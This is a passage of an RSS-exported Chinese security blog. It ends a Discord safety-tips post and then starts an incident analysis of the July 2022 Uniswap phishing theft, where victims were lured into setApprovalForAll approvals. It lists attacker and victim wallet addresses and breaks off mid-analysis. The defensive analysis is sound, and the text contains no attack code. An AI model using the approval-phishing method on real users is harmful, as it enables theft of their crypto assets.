0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">3.优先选择 Linktree 服务，在一定程度上能够进入正确的网址并与网络进行交互。</span></strong></strong></span></strong></strong></p><p style="text-align: left;margin-bottom: 0em;"><strong style="margin: 0px;padding: 0px;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-size: 24px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;"><strong style="margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;caret-color: rgb(34, 34, 34);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-size: 24px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">4. 关闭 Discord 服务器私聊功能，避免恶意的 DM 操作。<br/></span></strong></strong></span></strong></strong></p>



<p><a href="2247485129">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=00e9eb6e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU3MTU3NDk4Mw%3D%3D%26mid%3D2247485129%26idx%3D1%26sn%3D59b75e19df78d594d6c2d7d3aff6842c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 14 Jul 2022 11:00:00 +0800</pubDate>
    </item>
    <item>
      <title>Uniswap 盗币事件分析：钓鱼攻击威力显现</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTU3NDk4Mw==&amp;mid=2247485111&amp;idx=1&amp;sn=93236a0bced1d2de5c3784e1f9eec915</link>
      <description>Uniswap丢币与钓鱼攻击</description>
      <content:encoded><![CDATA[<p>
原创 <span>R0ckGh0st</span> <span>2022-07-12 10:00</span> <span style="display: inline-block;">北京</span>
</p>

<p>Uniswap丢币与钓鱼攻击</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=0e01da5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fpx3YHTjnicpqe64ic1YRrnMTLavFRiazBOOjyAKufftQd9REru3L9G1cSImLo2oPY4W9hOZUDVUPGU4EzzK9zWibGg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;letter-spacing: 0.5440000295639038px;orphans: auto;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;visibility: visible;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;color: rgb(51, 51, 51);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);font-size: 24px;visibility: visible;">背景信息</span></strong></p><p><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;letter-spacing: 0.5440000295639038px;orphans: auto;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;visibility: visible;"><br/></strong></p><p><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: auto;text-align: justify;text-indent: 0px;text-transform: none;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;visibility: visible;">2022 年</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: auto;text-align: justify;text-indent: 0px;text-transform: none;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;visibility: visible;"> 7 月 12 号，清晨 CZ 的推特发布讯息，称其安全团队监测到 Uniswap 出现大额丢币事件，且攻击者获利的 ETH 已流入 Tornado Cash 。经过链上数据整理和分析，能够发现这是一起攻击者利用钓鱼攻击使受害者在钓鱼环境下调用 approve 授权函数，将受害者持有 Uniswap 721 LP NFT 授权给特定账户，进而导致的攻击。该攻击造成了超过 4295 个 ETH 被窃取。</span></p><p><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: auto;text-align: justify;text-indent: 0px;text-transform: none;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;visibility: visible;"><br/></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7166947723440135" data-s="300,640" style="" data-type="png" data-w="1186" src="https://wechat2rss.xlab.app/img-proxy/?k=942a29ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpqe64ic1YRrnMTLavFRiazBOOIZXOu2XpOty2nQYCWibBmp0YElngWZnDBiaLSVBjJX2UuZzLnh4kca1w%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: auto;text-align: justify;text-indent: 0px;text-transform: none;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;visibility: visible;"> </span></p><p>随后 Uniswap 团队回应，此次攻击为<strong>钓鱼攻击</strong>，在攻击者不掌握受害者钱包账户私钥的前提下，使用哪种办法能够使其获得受害人的资产，进而使其遭受损失呢？这与 <strong style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 24px;letter-spacing: 0.544px;text-align: left;"><span style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;">setApprovalForAll 及</span></strong> approve 函数本身存在的潜在 spend 风险，和用户对这一函数所带来的潜在风险认识不到位存在一定关系。<strong>另外也不排除钓鱼站点做的足够逼真，以至于让用户忽略了同源策略直接授权</strong>。<span style="text-align: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.33412042502951594" data-s="300,640" style="" data-type="png" data-w="1694" src="https://wechat2rss.xlab.app/img-proxy/?k=101c9517&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpqe64ic1YRrnMTLavFRiazBOOaFqVEmTpIIGX3eVZnjbj4RNicKSBPz3wSR3u72K09YaHccf9NJw1DOA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="text-align: left;"><span style="font-family:Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, PingFang SC, Cambria, Cochin, Georgia, Times, Times New Roman, serif;"><span style="font-size: 24px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);"><strong>攻击账户信息</strong></span></span></p><p style="text-align: left;"><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><br/></span></p><p style="text-align: left;"><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">为确保分析的时效性，我们将选取特定账户进行分析，且仅对单个受害人进行分析，为了便于读者阅读和理解，特对相关账户进行命名：</span></p><p style="text-align: left;"><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><br/></span></p><ul class="list-paddingleft-1" style="margin: 0px;padding: 0px 0px 0px 1.5em;outline: 0px;max-width: 100%;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;list-style-type: disc;box-sizing: border-box !important;overflow-wrap: break-word !important;"><li style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;white-space: normal;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong>受害账户</strong>:</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;white-space: normal;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;">0x15c853bdafc9132544a10ed222aeab1f239414fe</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;white-space: normal;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.22523164647184604" data-s="300,640" style="" data-type="png" data-w="2806" src="https://wechat2rss.xlab.app/img-proxy/?k=f460f55f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpqe64ic1YRrnMTLavFRiazBOOrVTHtcsuQCpIYtlKibIOZAu2Ycetu0UDfBJ4UIs5EY0RuicklYzibVqog%2F640%3Fwx_fmt%3Dpng"/></p></li></ul><p style="text-align: center;margin-bottom: 0em;"><br/></p><ul class="list-paddingleft-1" style="margin: 0px;padding: 0px 0px 0px 1.5em;outline: 0px;max-width: 100%;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;list-style-type: disc;box-sizing: border-box !important;overflow-wrap: break-word !important;"><li style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;white-space: normal;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong>攻击账户（经授权具备转移受害账户 Uniswap NFT 能力的账户）</strong>: </span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;white-space: normal;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;">0x3CAFc86a98B77EeDcD3db0ee0aE562D7fe1897A2</span></p><p><br/></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;white-space: normal;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.18789584799437017" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-type="png" data-w="2842" src="https://wechat2rss.xlab.app/img-proxy/?k=28298524&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpqe64ic1YRrnMTLavFRiazBOOC3xzmaFYweIrQsy3DrKdaVyIVe5qfRbNF9MMRhIWzjBhsTDwpDQj1A%2F640%3Fwx_fmt%3Dpng"/></p></li></ul><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;clear: both;min-height: 1em;white-space: normal;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><ul class="list-paddingleft-1" style="margin: 0px;padding: 0px 0px 0px 1.5em;outline: 0px;max-width: 100%;caret-color: rgb(34, 34, 34);color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-caps: normal;letter-spacing: 0.544px;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;list-style-type: disc;box-sizing: border-box !important;overflow-wrap: break-word !important;"><li style="font-weight: 400;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;">洗币账户（也可以理解为攻击的实际获利账户）</span></strong><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;">:</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;">0x09b5027eF3a3b7332EE90321E558baD9C4447AFA</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;"></span><span style="background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;"></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2347517730496454" data-s="300,640" style="" data-type="png" data-w="2820" src="https://wechat2rss.xlab.app/img-proxy/?k=d3d185eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpqe64ic1YRrnMTLavFRiazBOOD3T0wicPU2xE0IUoK2dguAKT5tHFf2NZaAiaUOmGhic0ZDlVkWBIbcoxA%2F640%3Fwx_fmt%3Dpng"/></p></li></ul><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br/><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;"></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><strong style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 24px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">攻击信息分析</strong></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><br/></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;">1.攻击者诱导受害账户调用 </span></strong><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;">setApprovalForAll 方法授权攻击账户的交易链接</span></strong><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;background-color: rgb(255, 255, 255);color: rgb(85, 85, 85);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;letter-spacing: 0.544px;">：</span></strong><strong style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, 